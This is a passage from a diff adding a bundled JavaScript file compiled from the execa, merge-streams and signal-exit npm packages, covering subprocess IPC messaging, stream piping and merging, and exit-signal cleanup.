controller), + throwOnStrictError(ipcEmitter, isSubprocess, controller), + ]); + } catch (error) { + disconnect(anyProcess); + throw error; + } finally { + controller.abort(); + removeReference(channel, reference); + } +}; +var getMessage = async (ipcEmitter, filter, { signal }) => { + if (filter === void 0) { + const [message] = await once5(ipcEmitter, "message", { signal }); + return message; + } + for await (const [message] of on2(ipcEmitter, "message", { signal })) { + if (filter(message)) { + return message; + } + } +}; +var throwOnDisconnect2 = async (ipcEmitter, isSubprocess, { signal }) => { + await once5(ipcEmitter, "disconnect", { signal }); + throwOnEarlyDisconnect(isSubprocess); +}; +var throwOnStrictError = async (ipcEmitter, isSubprocess, { signal }) => { + const [error] = await once5(ipcEmitter, "strict:error", { signal }); + throw getStrictResponseError(error, isSubprocess); +}; + +// node_modules/execa/lib/ipc/get-each.js +import { once as once6, on as on3 } from "node:events"; +var getEachMessage = ( + { anyProcess, channel, isSubprocess, ipc }, + { reference = true } = {}, +) => + loopOnMessages({ + anyProcess, + channel, + isSubprocess, + ipc, + shouldAwait: !isSubprocess, + reference, + }); +var loopOnMessages = ({ + anyProcess, + channel, + isSubprocess, + ipc, + shouldAwait, + reference, +}) => { + validateIpcMethod({ + methodName: "getEachMessage", + isSubprocess, + ipc, + isConnected: isConnected(anyProcess), + }); + addReference(channel, reference); + const ipcEmitter = getIpcEmitter(anyProcess, channel, isSubprocess); + const controller = new AbortController(); + const state = {}; + stopOnDisconnect(anyProcess, ipcEmitter, controller); + abortOnStrictError({ + ipcEmitter, + isSubprocess, + controller, + state, + }); + return iterateOnMessages({ + anyProcess, + channel, + ipcEmitter, + isSubprocess, + shouldAwait, + controller, + state, + reference, + }); +}; +var stopOnDisconnect = async (anyProcess, ipcEmitter, controller) => { + try { + await once6(ipcEmitter, "disconnect", { signal: controller.signal }); + controller.abort(); + } catch {} +}; +var abortOnStrictError = async ({ + ipcEmitter, + isSubprocess, + controller, + state, +}) => { + try { + const [error] = await once6(ipcEmitter, "strict:error", { + signal: controller.signal, + }); + state.error = getStrictResponseError(error, isSubprocess); + controller.abort(); + } catch {} +}; +var iterateOnMessages = async function* ({ + anyProcess, + channel, + ipcEmitter, + isSubprocess, + shouldAwait, + controller, + state, + reference, +}) { + try { + for await (const [message] of on3(ipcEmitter, "message", { + signal: controller.signal, + })) { + throwIfStrictError(state); + yield message; + } + } catch { + throwIfStrictError(state); + } finally { + controller.abort(); + removeReference(channel, reference); + if (!isSubprocess) { + disconnect(anyProcess); + } + if (shouldAwait) { + await anyProcess; + } + } +}; +var throwIfStrictError = ({ error }) => { + if (error) { + throw error; + } +}; + +// node_modules/execa/lib/ipc/methods.js +var addIpcMethods = (subprocess, { ipc }) => { + Object.assign(subprocess, getIpcMethods(subprocess, false, ipc)); +}; +var getIpcExport = () => { + const anyProcess = process8; + const isSubprocess = true; + const ipc = process8.channel !== void 0; + return { + ...getIpcMethods(anyProcess, isSubprocess, ipc), + getCancelSignal: getCancelSignal.bind(void 0, { + anyProcess, + channel: anyProcess.channel, + isSubprocess, + ipc, + }), + }; +}; +var getIpcMethods = (anyProcess, isSubprocess, ipc) => ({ + sendMessage: sendMessage.bind(void 0, { + anyProcess, + channel: anyProcess.channel, + isSubprocess, + ipc, + }), + getOneMessage: getOneMessage.bind(void 0, { + anyProcess, + channel: anyProcess.channel, + isSubprocess, + ipc, + }), + getEachMessage: getEachMessage.bind(void 0, { + anyProcess, + channel: anyProcess.channel, + isSubprocess, + ipc, + }), +}); + +// node_modules/execa/lib/return/early-error.js +import { ChildProcess as ChildProcess2 } from "node:child_process"; +import { PassThrough, Readable, Writable, Duplex } from "node:stream"; +var handleEarlyError = ({ + error, + command, + escapedCommand, + fileDescriptors, + options, + startTime, + verboseInfo, +}) => { + cleanupCustomStreams(fileDescriptors); + const subprocess = new ChildProcess2(); + createDummyStreams(subprocess, fileDescriptors); + Object.assign(subprocess, { readable, writable, duplex }); + const earlyError = makeEarlyError({ + error, + command, + escapedCommand, + fileDescriptors, + options, + startTime, + isSync: false, + }); + const promise = handleDummyPromise(earlyError, verboseInfo, options); + return { subprocess, promise }; +}; +var createDummyStreams = (subprocess, fileDescriptors) => { + const stdin = createDummyStream(); + const stdout = createDummyStream(); + const stderr = createDummyStream(); + const extraStdio = Array.from( + { length: fileDescriptors.length - 3 }, + createDummyStream, + ); + const all = createDummyStream(); + const stdio = [stdin, stdout, stderr, ...extraStdio]; + Object.assign(subprocess, { + stdin, + stdout, + stderr, + all, + stdio, + }); +}; +var createDummyStream = () => { + const stream = new PassThrough(); + stream.end(); + return stream; +}; +var readable = () => new Readable({ read() {} }); +var writable = () => new Writable({ write() {} }); +var duplex = () => new Duplex({ read() {}, write() {} }); +var handleDummyPromise = async (error, verboseInfo, options) => + handleResult(error, verboseInfo, options); + +// node_modules/execa/lib/stdio/handle-async.js +import { createReadStream, createWriteStream } from "node:fs"; +import { Buffer as Buffer4 } from "node:buffer"; +import { + Readable as Readable2, + Writable as Writable2, + Duplex as Duplex2, +} from "node:stream"; +var handleStdioAsync = (options, verboseInfo) => + handleStdio(addPropertiesAsync, options, verboseInfo, false); +var forbiddenIfAsync = ({ type, optionName }) => { + throw new TypeError( + `The \`${optionName}\` option cannot be ${TYPE_TO_MESSAGE[type]}.`, + ); +}; +var addProperties2 = { + fileNumber: forbiddenIfAsync, + generator: generatorToStream, + asyncGenerator: generatorToStream, + nodeStream: ({ value }) => ({ stream: value }), + webTransform({ + value: { transform, writableObjectMode, readableObjectMode }, + }) { + const objectMode = writableObjectMode || readableObjectMode; + const stream = Duplex2.fromWeb(transform, { objectMode }); + return { stream }; + }, + duplex: ({ value: { transform } }) => ({ stream: transform }), + native() {}, +}; +var addPropertiesAsync = { + input: { + ...addProperties2, + fileUrl: ({ value }) => ({ stream: createReadStream(value) }), + filePath: ({ value: { file } }) => ({ stream: createReadStream(file) }), + webStream: ({ value }) => ({ stream: Readable2.fromWeb(value) }), + iterable: ({ value }) => ({ stream: Readable2.from(value) }), + asyncIterable: ({ value }) => ({ stream: Readable2.from(value) }), + string: ({ value }) => ({ stream: Readable2.from(value) }), + uint8Array: ({ value }) => ({ + stream: Readable2.from(Buffer4.from(value)), + }), + }, + output: { + ...addProperties2, + fileUrl: ({ value }) => ({ stream: createWriteStream(value) }), + filePath: ({ value: { file, append } }) => ({ + stream: createWriteStream(file, append ? { flags: "a" } : {}), + }), + webStream: ({ value }) => ({ stream: Writable2.fromWeb(value) }), + iterable: forbiddenIfAsync, + asyncIterable: forbiddenIfAsync, + string: forbiddenIfAsync, + uint8Array: forbiddenIfAsync, + }, +}; + +// node_modules/@sindresorhus/merge-streams/index.js +import { on as on4, once as once7 } from "node:events"; +import { + PassThrough as PassThroughStream, + getDefaultHighWaterMark as getDefaultHighWaterMark2, +} from "node:stream"; +import { finished as finished2 } from "node:stream/promises"; +function mergeStreams(streams) { + if (!Array.isArray(streams)) { + throw new TypeError(`Expected an array, got \`${typeof streams}\`.`); + } + for (const stream of streams) { + validateStream(stream); + } + const objectMode = streams.some( + ({ readableObjectMode }) => readableObjectMode, + ); + const highWaterMark = getHighWaterMark(streams, objectMode); + const passThroughStream = new MergedStream({ + objectMode, + writableHighWaterMark: highWaterMark, + readableHighWaterMark: highWaterMark, + }); + for (const stream of streams) { + passThroughStream.add(stream); + } + return passThroughStream; +} +var getHighWaterMark = (streams, objectMode) => { + if (streams.length === 0) { + return getDefaultHighWaterMark2(objectMode); + } + const highWaterMarks = streams + .filter(({ readableObjectMode }) => readableObjectMode === objectMode) + .map(({ readableHighWaterMark }) => readableHighWaterMark); + return Math.max(...highWaterMarks); +}; +var MergedStream = class extends PassThroughStream { + #streams = /* @__PURE__ */ new Set([]); + #ended = /* @__PURE__ */ new Set([]); + #aborted = /* @__PURE__ */ new Set([]); + #onFinished; + #unpipeEvent = Symbol("unpipe"); + #streamPromises = /* @__PURE__ */ new WeakMap(); + add(stream) { + validateStream(stream); + if (this.#streams.has(stream)) { + return; + } + this.#streams.add(stream); + this.#onFinished ??= onMergedStreamFinished( + this, + this.#streams, + this.#unpipeEvent, + ); + const streamPromise = endWhenStreamsDone({ + passThroughStream: this, + stream, + streams: this.#streams, + ended: this.#ended, + aborted: this.#aborted, + onFinished: this.#onFinished, + unpipeEvent: this.#unpipeEvent, + }); + this.#streamPromises.set(stream, streamPromise); + stream.pipe(this, { end: false }); + } + async remove(stream) { + validateStream(stream); + if (!this.#streams.has(stream)) { + return false; + } + const streamPromise = this.#streamPromises.get(stream); + if (streamPromise === void 0) { + return false; + } + this.#streamPromises.delete(stream); + stream.unpipe(this); + await streamPromise; + return true; + } +}; +var onMergedStreamFinished = async ( + passThroughStream, + streams, + unpipeEvent, +) => { + updateMaxListeners(passThroughStream, PASSTHROUGH_LISTENERS_COUNT); + const controller = new AbortController(); + try { + await Promise.race([ + onMergedStreamEnd(passThroughStream, controller), + onInputStreamsUnpipe(passThroughStream, streams, unpipeEvent, controller), + ]); + } finally { + controller.abort(); + updateMaxListeners(passThroughStream, -PASSTHROUGH_LISTENERS_COUNT); + } +}; +var onMergedStreamEnd = async (passThroughStream, { signal }) => { + try { + await finished2(passThroughStream, { signal, cleanup: true }); + } catch (error) { + errorOrAbortStream(passThroughStream, error); + throw error; + } +}; +var onInputStreamsUnpipe = async ( + passThroughStream, + streams, + unpipeEvent, + { signal }, +) => { + for await (const [unpipedStream] of on4(passThroughStream, "unpipe", { + signal, + })) { + if (streams.has(unpipedStream)) { + unpipedStream.emit(unpipeEvent); + } + } +}; +var validateStream = (stream) => { + if (typeof stream?.pipe !== "function") { + throw new TypeError( + `Expected a readable stream, got: \`${typeof stream}\`.`, + ); + } +}; +var endWhenStreamsDone = async ({ + passThroughStream, + stream, + streams, + ended, + aborted: aborted2, + onFinished, + unpipeEvent, +}) => { + updateMaxListeners(passThroughStream, PASSTHROUGH_LISTENERS_PER_STREAM); + const controller = new AbortController(); + try { + await Promise.race([ + afterMergedStreamFinished(onFinished, stream, controller), + onInputStreamEnd({ + passThroughStream, + stream, + streams, + ended, + aborted: aborted2, + controller, + }), + onInputStreamUnpipe({ + stream, + streams, + ended, + aborted: aborted2, + unpipeEvent, + controller, + }), + ]); + } finally { + controller.abort(); + updateMaxListeners(passThroughStream, -PASSTHROUGH_LISTENERS_PER_STREAM); + } + if (streams.size > 0 && streams.size === ended.size + aborted2.size) { + if (ended.size === 0 && aborted2.size > 0) { + abortStream(passThroughStream); + } else { + endStream(passThroughStream); + } + } +}; +var afterMergedStreamFinished = async (onFinished, stream, { signal }) => { + try { + await onFinished; + if (!signal.aborted) { + abortStream(stream); + } + } catch (error) { + if (!signal.aborted) { + errorOrAbortStream(stream, error); + } + } +}; +var onInputStreamEnd = async ({ + passThroughStream, + stream, + streams, + ended, + aborted: aborted2, + controller: { signal }, +}) => { + try { + await finished2(stream, { + signal, + cleanup: true, + readable: true, + writable: false, + }); + if (streams.has(stream)) { + ended.add(stream); + } + } catch (error) { + if (signal.aborted || !streams.has(stream)) { + return; + } + if (isAbortError(error)) { + aborted2.add(stream); + } else { + errorStream(passThroughStream, error); + } + } +}; +var onInputStreamUnpipe = async ({ + stream, + streams, + ended, + aborted: aborted2, + unpipeEvent, + controller: { signal }, +}) => { + await once7(stream, unpipeEvent, { signal }); + if (!stream.readable) { + return once7(signal, "abort", { signal }); + } + streams.delete(stream); + ended.delete(stream); + aborted2.delete(stream); +}; +var endStream = (stream) => { + if (stream.writable) { + stream.end(); + } +}; +var errorOrAbortStream = (stream, error) => { + if (isAbortError(error)) { + abortStream(stream); + } else { + errorStream(stream, error); + } +}; +var isAbortError = (error) => error?.code === "ERR_STREAM_PREMATURE_CLOSE"; +var abortStream = (stream) => { + if (stream.readable || stream.writable) { + stream.destroy(); + } +}; +var errorStream = (stream, error) => { + if (!stream.destroyed) { + stream.once("error", noop2); + stream.destroy(error); + } +}; +var noop2 = () => {}; +var updateMaxListeners = (passThroughStream, increment2) => { + const maxListeners = passThroughStream.getMaxListeners(); + if (maxListeners !== 0 && maxListeners !== Number.POSITIVE_INFINITY) { + passThroughStream.setMaxListeners(maxListeners + increment2); + } +}; +var PASSTHROUGH_LISTENERS_COUNT = 2; +var PASSTHROUGH_LISTENERS_PER_STREAM = 1; + +// node_modules/execa/lib/io/pipeline.js +import { finished as finished3 } from "node:stream/promises"; +var pipeStreams = (source, destination) => { + source.pipe(destination); + onSourceFinish(source, destination); + onDestinationFinish(source, destination); +}; +var onSourceFinish = async (source, destination) => { + if (isStandardStream(source) || isStandardStream(destination)) { + return; + } + try { + await finished3(source, { cleanup: true, readable: true, writable: false }); + } catch {} + endDestinationStream(destination); +}; +var endDestinationStream = (destination) => { + if (destination.writable) { + destination.end(); + } +}; +var onDestinationFinish = async (source, destination) => { + if (isStandardStream(source) || isStandardStream(destination)) { + return; + } + try { + await finished3(destination, { + cleanup: true, + readable: false, + writable: true, + }); + } catch {} + abortSourceStream(source); +}; +var abortSourceStream = (source) => { + if (source.readable) { + source.destroy(); + } +}; + +// node_modules/execa/lib/io/output-async.js +var pipeOutputAsync = (subprocess, fileDescriptors, controller) => { + const pipeGroups = /* @__PURE__ */ new Map(); + for (const [fdNumber, { stdioItems, direction }] of Object.entries( + fileDescriptors, + )) { + for (const { stream } of stdioItems.filter(({ type }) => + TRANSFORM_TYPES.has(type), + )) { + pipeTransform(subprocess, stream, direction, fdNumber); + } + for (const { stream } of stdioItems.filter( + ({ type }) => !TRANSFORM_TYPES.has(type), + )) { + pipeStdioItem({ + subprocess, + stream, + direction, + fdNumber, + pipeGroups, + controller, + }); + } + } + for (const [outputStream, inputStreams] of pipeGroups.entries()) { + const inputStream = + inputStreams.length === 1 ? inputStreams[0] : mergeStreams(inputStreams); + pipeStreams(inputStream, outputStream); + } +}; +var pipeTransform = (subprocess, stream, direction, fdNumber) => { + if (direction === "output") { + pipeStreams(subprocess.stdio[fdNumber], stream); + } else { + pipeStreams(stream, subprocess.stdio[fdNumber]); + } + const streamProperty = SUBPROCESS_STREAM_PROPERTIES[fdNumber]; + if (streamProperty !== void 0) { + subprocess[streamProperty] = stream; + } + subprocess.stdio[fdNumber] = stream; +}; +var SUBPROCESS_STREAM_PROPERTIES = ["stdin", "stdout", "stderr"]; +var pipeStdioItem = ({ + subprocess, + stream, + direction, + fdNumber, + pipeGroups, + controller, +}) => { + if (stream === void 0) { + return; + } + setStandardStreamMaxListeners(stream, controller); + const [inputStream, outputStream] = + direction === "output" + ? [stream, subprocess.stdio[fdNumber]] + : [subprocess.stdio[fdNumber], stream]; + const outputStreams = pipeGroups.get(inputStream) ?? []; + pipeGroups.set(inputStream, [...outputStreams, outputStream]); +}; +var setStandardStreamMaxListeners = (stream, { signal }) => { + if (isStandardStream(stream)) { + incrementMaxListeners(stream, MAX_LISTENERS_INCREMENT, signal); + } +}; +var MAX_LISTENERS_INCREMENT = 2; + +// node_modules/execa/lib/terminate/cleanup.js +import { addAbortListener as addAbortListener2 } from "node:events"; + +// node_modules/signal-exit/dist/mjs/signals.js +var signals = []; +signals.push("SIGHUP", "SIGINT", "SIGTERM"); +if (process.platform !== "win32") { + signals.push( + "SIGALRM", + "SIGABRT", + "SIGVTALRM", + "SIGXCPU", + "SIGXFSZ", + "SIGUSR2", + "SIGTRAP", + "SIGSYS", + "SIGQUIT", + "SIGIOT", + // should detect profiler and enable/disable accordingly. + // see #21 + // 'SIGPROF' + ); +} +if (process.platform === "linux") { + signals.push("SIGIO", "SIGPOLL", "SIGPWR", "SIGSTKFLT"); +} + +// node_modules/signal-exit/dist/mjs/index.js +var processOk = (process10) => + !!process10 && + typeof process10 === "object" && + typeof process10.removeListener === "function" && + typeof process10.emit === "function" && + typeof process10.reallyExit === "function" && + typeof process10.listeners === "function" && + typeof process10.kill === "function" && + typeof process10.pid === "number" && + typeof process10.on === "function"; +var kExitEmitter = Symbol.for("signal-exit emitter"); +var global2 = globalThis; +var ObjectDefineProperty = Object.defineProperty.bind(Object); +var Emitter = class { + emitted = { + afterExit: false, + exit: false, + }; + listeners = { + afterExit: [], + exit: [], + }; + count = 0; + id = Math.random(); + constructor() { + if (global2[kExitEmitter]) { + return global2[kExitEmitter]; + } + ObjectDefineProperty(global2, kExitEmitter, { + value: this, + writable: false, + enumerable: false, + configurable: false, + }); + } + on(ev, fn) { + this.listeners[ev].push(fn); + } + removeListener(ev, fn) { + const list = this.listeners[ev]; + const i2 = list.indexOf(fn); + if (i2 === -1) { + return; + } + if (i2 === 0 && list.length === 1) { + list.length = 0; + } else { + list.splice(i2, 1); + } + } + emit(ev, code, signal) { + if (this.emitted[ev]) { + return false; + } + this.emitted[ev] = true; + let ret = false; + for (const fn of this.listeners[ev]) { + ret = fn(code, signal) === true || ret; + } + if (ev === "exit") { + ret = this.emit("afterExit", code, signal) || ret; + } + return ret; + } +}; +var SignalExitBase = class {}; +var signalExitWrap = (handler) => { + return { + onExit(cb, opts) { + return handler.onExit(cb, opts); + }, + load() { + return handler.load(); + }, + unload() { + return handler.unload(); + }, + }; +}; +var SignalExitFallback = class extends SignalExitBase { + onExit() { + return () => {}; + } + load() {} + unload() {} +}; +var SignalExit = class extends SignalExitBase { + // "SIGHUP" throws an `ENOSYS` error on Windows, + // so use a supported signal instead + /* c8 ignore start */ + #hupSig = process9.platform === "win32" ? "SIGINT" : "SIGHUP"; + /* c8 ignore stop */ + #emitter = new Emitter(); + #process; + #originalProcessEmit; + #originalProcessReallyExit; + #sigListeners = {}; + #loaded = false; + constructor(process10) { + super(); + this.#process = process10; + this.#sigListeners = {}; + for (const sig of signals) { + this.#sigListeners[sig] = () => { + const listeners = this.#process.listeners(sig); + let { count: count2 } = this.#emitter; + const p = process10; + if ( + typeof p.__signal_exit_emitter__ === "object" && + typeof p.__signal_exit_emitter__.count === "number" + ) { + count2 += p.__signal_exit_emitter__.count; + } + if (listeners.length === count2) { + this.unload(); + const ret = this.#emitter.emit("exit", null, sig); + const s = sig === "SIGHUP" ? this.#hupSig : sig; + if (!ret) process10.kill(process10.pid, s); + } + }; + } + this.#originalProcessReallyExit = process10.reallyExit; + this.#originalProcessEmit = process10.emit; + } + onExit(cb, opts) { + if (!processOk(this.#process)) { + return () => {}; + } + if (this.#loaded === false) { + this.load(); + } + const ev = opts?.alwaysLast ? "afterExit" : "exit"; + this.#emitter.on(ev, cb); + return () => { + this.#emitter.removeListener(ev, cb); + if ( + this.#emitter.listeners["exit"].length === 0 && + this.#emitter.listeners["afterExit"].length === 0 + ) { + this.unload(); + } + }; + } + load() { + if (this.#loaded) { + return; + } + this.#loaded = true; + this.#emitter.count += 1; + for (const sig of signals) { + try { + const fn = this.#sigListeners[sig]; + if (fn) this.#process.on(sig, fn); + } catch (_) {} + } + this.#process.emit = (ev, ...a2) => { + return this.#processEmit(ev, ...a2); + }; + this.#process.reallyExit = (code) => { + return this.#processReallyExit(code); + }; + } + unload() { + if (!this.#loaded) { + return; + } + this.#loaded = false; + signals.forEach((sig) => { + const listener = this.#sigListeners[sig]; + if (!listener) { + throw new Error("Listener not defined for signal: " + sig); + } + try { + this.#process.removeListener(sig, listener); + } catch (_) {} + }); + this.#process.emit = this.#originalProcessEmit; + this.#process.reallyExit = this.#originalProcessReallyExit; + this.#emitter.count -= 1; + } + #processReallyExit(code) { + if (!processOk(this.#process)) { + return 0; + } + this.#process.exitCode = code || 0; + this.#emitter.emit("exit", this.#process.exitCode, null); + return this.#originalProcessReallyExit.call( + this.#process, + this.#process.exitCode, + ); + } + #processEmit(ev, ...args) { + const og = this.#originalProcessEmit; + if (ev === "exit" && processOk(this.#process)) { + if (typeof args[0] === "number") { + this.#process.exitCode = args[0]; + } + const ret = og.call(this.#process, ev, ...args); + this.#emitter.emit("exit", this.#process.exitCode, null); + return ret; + } else { + return og.call(this.#process, ev, ...args); + } + } +}; +var process9 = globalThis.process; +var { + /** + * Called when the process is exiting, whether via signal, explicit + * exit, or running out of stuff to do. + * + * If the global process object is not suitable for instrumentation, + * then this will be a no-op. + * + * Returns a function that may be used to unload signal-exit. + */ + onExit, + /** + * Load the listeners. Likely you never need to call this, unless + * doing a rather deep integration with signal-exit functionality. + * Mostly exposed for the benefit of testing. + * + * @internal + */ + load, + /** + * Unload the listeners. Likely you never need to call this, unless + * doing a rather deep integration with signal-exit functionality. + * Mostly exposed for the benefit of testing. + * + * @internal + */ + unload, +} = signalExitWrap( + processOk(process9) ? new SignalExit(process9) : new SignalExitFallback(), +); + +// node_modules/execa/lib/terminate/cleanup.js +var cleanupOnExit = (subprocess, { cleanup, detached }, { signal }) => { + if (!cleanup || detached) { + return; + } + const removeExitHandler = onExit(() => { + subprocess.kill(); + }); + addAbortListener2(signal, () => { + removeExitHandler(); + }); +}; + +// node_modules/execa/lib/pipe/pipe-arguments.js +var normalizePipeArguments = ( + { source, sourcePromise, boundOptions, createNested }, + ...pipeArguments +) => { + const startTime = getStartTime(); + const { + destination, + destinationStream, + destinationError, + from, + unpipeSignal, + } = getDestinationStream(boundOptions, createNested, pipeArguments); + const { sourceStream, sourceError } = getSourceStream(source, from); + const { options: sourceOptions, fileDescriptors } = + SUBPROCESS_OPTIONS.get(source); + return { + sourcePromise, + sourceStream, + sourceOptions, + sourceError, + destination, + destinationStream, + destinationError, + unpipeSignal, + fileDescriptors, + startTime, + }; +}; +var getDestinationStream = (boundOptions, createNested, pipeArguments) => { + try { + const { destination, pipeOptions: { from, to, unpipeSignal } = {} } = + getDestination(boundOptions, createNested, ...pipeArguments); + const destinationStream = getToStream(destination, to); + return { + destination, + destinationStream, + from, + unpipeSignal, + }; + } catch (error) { + return { destinationError: error }; + } +}; +var getDestination = ( + boundOptions, + createNested, + firstArgument, + ...pipeArguments +) => { + if (Array.isArray(firstArgument)) { + const destination = createNested(mapDestinationArguments, boundOptions)( + firstArgument, + ...pipeArguments, + ); + return { destination, pipeOptions: boundOptions }; + } + if ( + typeof firstArgument === "string" || + firstArgument instanceof URL || + isDenoExecPath(firstArgument) + ) { + if (Object.keys(boundOptions).length > 0) { + throw new TypeError( + 'Please use .pipe("file", ..., options) or .pipe(execa("file", ..., options)) instead of .pipe(options)("file", ...).', + ); + } + const [rawFile, rawArguments, rawOptions] = normalizeParameters( + firstArgument, + ...pipeArguments, + ); + const destination = createNested(mapDestinationArguments)( + rawFile, + rawArguments, + rawOptions, + ); + return { destination, pipeOptions: rawOptions }; + } + if (SUBPROCESS_OPTIONS.has(firstArgument)) { + if (Object.keys(boundOptions).length > 0) { + throw new TypeError( + "Please use .pipe(options)`command` or .pipe($(options)`command`) instead of .pipe(options)($`command`).", + ); + } + return { destination: firstArgument, pipeOptions: pipeArguments[0] }; + } + throw new TypeError( + `The first argument must be a template string, an options object, or an Execa subprocess: ${firstArgument}`, + ); +}; +var mapDestinationArguments = ({ options }) => ({ + options: { ...options, stdin: "pipe", piped: true }, +}); +var getSourceStream = (source, from) => { + try { + const sourceStream = getFromStream(source, from); + return { sourceStream }; + } catch (error) { + return { sourceError: error }; + } +}; + +// node_modules/execa/lib/pipe/throw.js +var handlePipeArgumentsError = ({ + sourceStream, + sourceError, + destinationStream, + destinationError, + fileDescriptors, + sourceOptions, + startTime, +}) => { + const error = getPipeArgumentsError({ + sourceStream, + sourceError, + destinationStream, + destinationError, + }); + if (error !== void 0) { + throw createNonCommandError({ + error, + fileDescriptors, + sourceOptions, + startTime, + }); + } +}; +var getPipeArgumentsError = ({ + sourceStream, + sourceError, + destinationStream, + destinationError, +}) => { + if (sourceError !== void 0 && destinationError !== void 0) { + return destinationError; + } + if (destinationError !== void 0) { + abortSourceStream(sourceStream); + return destinationError; + } + if (sourceError !== void 0) { + endDestinationStream(destinationStream); + return sourceError; + } +}; +var createNonCommandError = ({ + error, + fileDescriptors, + sourceOptions, + startTime, +}) => + makeEarlyError({ + error, + command: PIPE_COMMAND_MESSAGE, + escapedCommand: PIPE_COMMAND_MESSAGE, + fileDescriptors, + options: sourceOptions, + startTime, + isSync: false, + }); +var PIPE_COMMAND_MESSAGE = "source.pipe(destination)"; + +// node_modules/execa/lib/pipe/sequence.js +var waitForBothSubprocesses = async (subprocessPromises) => { + const [ + { + status: sourceStatus, + reason: sourceReason, + value: sourceResult = sourceReason, + }, + { + status: destinationStatus, + reason: destinationReason, + value: destinationResult = destinationReason, + }, + ] = await subprocessPromises; + if (!destinationResult.pipedFrom.includes(sourceResult)) { + destinationResult.pipedFrom.push(sourceResult); + } + if (destinationStatus === "rejected") { + throw destinationResult; + } + if (sourceStatus === "rejected") { + throw sourceResult; + } + return destinationResult; +}; + +// node_modules/execa/lib/pipe/streaming.js +import { finished as finished4 } from "node:stream/promises"; +var pipeSubprocessStream = ( + sourceStream, + destinationStream, + maxListenersController, +) => { + const mergedStream = MERGED_STREAMS.has(destinationStream) + ? pipeMoreSubprocessStream(sourceStream, destinationStream) + : pipeFirstSubprocessStream(sourceStream, destinationStream); + incrementMaxListeners( + sourceStream, + SOURCE_LISTENERS_PER_PIPE, + maxListenersController.signal, + ); + incrementMaxListeners( + destinationStream, + DESTINATION_LISTENERS_PER_PIPE, + maxListenersController.signal, + ); + cleanupMergedStreamsMap(destinationStream); + return mergedStream; +}; +var pipeFirstSubprocessStream = (sourceStream, destinationStream) => { + const mergedStream = mergeStreams([sourceStream]); + pipeStreams(mergedStream, destinationStream); + MERGED_STREAMS.set(destinationStream, mergedStream); + return mergedStream; +}; +var pipeMoreSubprocessStream = (sourceStream, destinationStream) => { + const mergedStream = MERGED_STREAMS.get(destinationStream); + mergedStream.add(sourceStream); + return mergedStream; +}; +var cleanupMergedStreamsMap = async (destinationStream) => { + try { + await finished4(destinationStream, { + cleanup: true, + readable: false, + writable: true, + }); + } catch {} + MERGED_STREAMS.delete(destinationStream); +}; +var MERGED_STREAMS = /* @__PURE__ */ new WeakMap(); +var SOURCE_LISTENERS_PER_PIPE = 2; +var DESTINATION_LISTENERS_PER_PIPE = 1; + +// node_modules/execa/lib/pipe/abort.js +import { aborted } from "node:util"; +var unpipeOnAbort = (unpipeSignal, unpipeContext) => + unpipeSignal === void 0 + ? [] + : [unpipeOnSignalAbort(unpipeSignal, unpipeContext)]; +var unpipeOnSignalAbort = async ( + unpipeSignal, + { sourceStream, mergedStream, fileDescriptors, sourceOptions, startTime }, +) => { + await aborted(unpipeSignal, sourceStream); + await mergedStream.remove(sourceStream); + const error = new Error("Pipe canceled by `unpipeSignal` option."); + throw createNonCommandError({ + error, + fileDescriptors, + sourceOptions, + startTime, + }); +}; + +// node_modules/execa/lib/pipe/setup.js +var pipeToSubprocess = (sourceInfo, ...pipeArguments) => { + if (isPlainObject(pipeArguments[0])) { + return pipeToSubprocess.bind(void 0, { + ...sourceInfo, + boundOptions: { ...sourceInfo.boundOptions, ...pipeArguments[0] }, + }); + } + const { destination, ...normalizedInfo } = normalizePipeArguments( + sourceInfo, + ...pipeArguments, + ); + const promise = handlePipePromise({ ...normalizedInfo, destination }); + promise.pipe = pipeToSubprocess.bind(void 0, { + ...sourceInfo, + source: destination, + sourcePromise: promise, + boundOptions: {}, + }); + return promise; +}; +var handlePipePromise = async ({ + sourcePromise, + sourceStream, + sourceOptions, + sourceError, + destination, + destinationStream, + destinationError, + unpipeSignal, + fileDescriptors, + startTime, +}) => { + const subprocessPromises = getSubprocessPromises(sourcePromise, destination); + handlePipeArgumentsError({ + sourceStream, + sourceError, + destinationStream, + destinationError, + fileDescriptors, + sourceOptions, + startTime, + }); + const maxListenersController = new AbortController(); + try { + const mergedStream = pipeSubprocessStream( + sourceStream, + destinationStream, + maxListenersController, + ); + return await Promise.race([ + waitForBothSubprocesses(subprocessPromises), + ...unpipeOnAbort(unpipeSignal, { + sourceStream, + mergedStream, + sourceOptions, + fileDescriptors, + startTime, + }), + ]); + } finally { + maxListenersController.abort(); + } +}; +var getSubprocessPromises = (sourcePromise, destination) => + Promise.allSettled([sourcePromise, destination]); + +// node_modules/execa/lib/io/contents.js +import { setImmediate } from "node:timers/promises"; + +// node_modules/execa/lib/io/iterate.js +import { on as on5 } from "node:events"; +import { getDefaultHighWaterMark as getDefaultHighWaterMark3 } from "node:stream"; +var iterateOnSubprocessStream = ({ + subprocessStdout, + subprocess, + binary, + shouldEncode, + encoding, + preserveNewlines, +}) => { + const controller = new AbortController(); + stopReadingOnExit(subprocess, controller); + return iterateOnStream({ + stream: subprocessStdout, + controller, + binary, + shouldEncode: !subprocessStdout.readableObjectMode && shouldEncode, + encoding, + shouldSplit: !subprocessStdout.readableObjectMode, + preserveNewlines, + }); +}; +var stopReadingOnExit = async (subprocess, controller) => { + try { + await subprocess; + } catch { + } finally { + controller.abort(); + } +}; +var iterateForResult = ({ + stream, + onStreamEnd, + lines, + encoding, + stripFinalNewline: stripFinalNewline2, + allMixed, +}) => { + const controller = new AbortController(); + stopReadingOnStreamEnd(onStreamEnd, controller, stream); + const objectMode = stream.readableObjectMode && !allMixed; + return iterateOnStream({ + stream, + controller, + binary: encoding === "buffer", + shouldEncode: !objectMode, + encoding, + shouldSplit: !objectMode && lines, + preserveNewlines: !stripFinalNewline2, + }); +}; +var stopReadingOnStreamEnd = async (onStreamEnd, controller, stream) => { + try { + await onStreamEnd; + } catch { + stream.destroy(); + } finally { + controller.abort(); + } +}; +var iterateOnStream = ({ + stream, + controller, + binary, + shouldEncode, + encoding, + shouldSplit, + preserveNewlines, +}) => { + const onStdoutChunk = on5(stream, "data", { + signal: controller.signal, + highWaterMark: HIGH_WATER_MARK, + // Backward compatibility with older name for this option + // See https://github.com/nodejs/node/pull/52080#discussion_r1525227861 + // @todo Remove after removing support for Node 21 + highWatermark: HIGH_WATER_MARK, + }); + return iterateOnData({ + onStdoutChunk, + controller, + binary, + shouldEncode, + encoding, + shouldSplit, + preserveNewlines, + }); +}; +var DEFAULT_OBJECT_HIGH_WATER_MARK = 